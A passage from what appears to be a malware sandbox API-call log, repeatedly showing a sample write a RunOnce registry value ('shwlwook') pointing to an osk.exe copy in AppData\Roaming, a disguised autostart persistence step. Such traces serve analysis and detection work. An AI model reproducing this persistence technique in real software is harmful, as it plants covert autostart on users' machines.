dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62406c0) returned 0x0 [0255.178] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xb [0255.178] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.178] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.179] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.179] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.179] RegCloseKey (hKey=0x14c) returned 0x0 [0255.179] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.180] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.180] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.180] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.180] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.188] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.188] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.188] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.188] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.188] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240710 | out: ppvObject=0x6240710*=0x0) returned 0x80004002 [0255.188] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xd [0255.189] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.189] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xe [0255.189] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a630) returned 0x0 [0255.189] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xd [0255.189] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.189] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.189] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.189] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.189] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240730 | out: ppvObject=0x6240730*=0x0) returned 0x80004002 [0255.190] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xe [0255.190] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xd [0255.190] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.190] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xd [0255.190] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240740) returned 0x0 [0255.191] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xc [0255.191] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.192] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.192] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.192] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.192] RegCloseKey (hKey=0x14c) returned 0x0 [0255.192] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.193] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.203] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.203] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.204] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.204] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.204] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240790 | out: ppvObject=0x6240790*=0x0) returned 0x80004002 [0255.204] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xe [0255.204] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.204] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xf [0255.204] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a690) returned 0x0 [0255.205] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xe [0255.205] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.205] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.205] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.205] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.205] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62407b0 | out: ppvObject=0x62407b0*=0x0) returned 0x80004002 [0255.205] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xf [0255.205] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xe [0255.205] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.205] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xe [0255.205] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62407c0) returned 0x0 [0255.207] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xd [0255.207] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.207] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.207] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.208] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.208] RegCloseKey (hKey=0x14c) returned 0x0 [0255.208] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.208] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.219] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.219] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.219] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.219] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.219] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240810 | out: ppvObject=0x6240810*=0x0) returned 0x80004002 [0255.219] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xf [0255.219] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.220] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x10 [0255.220] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a6f0) returned 0x0 [0255.220] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xf [0255.220] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.220] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.220] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.220] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.220] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240830 | out: ppvObject=0x6240830*=0x0) returned 0x80004002 [0255.220] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x10 [0255.221] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xf [0255.221] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.221] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xf [0255.221] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), 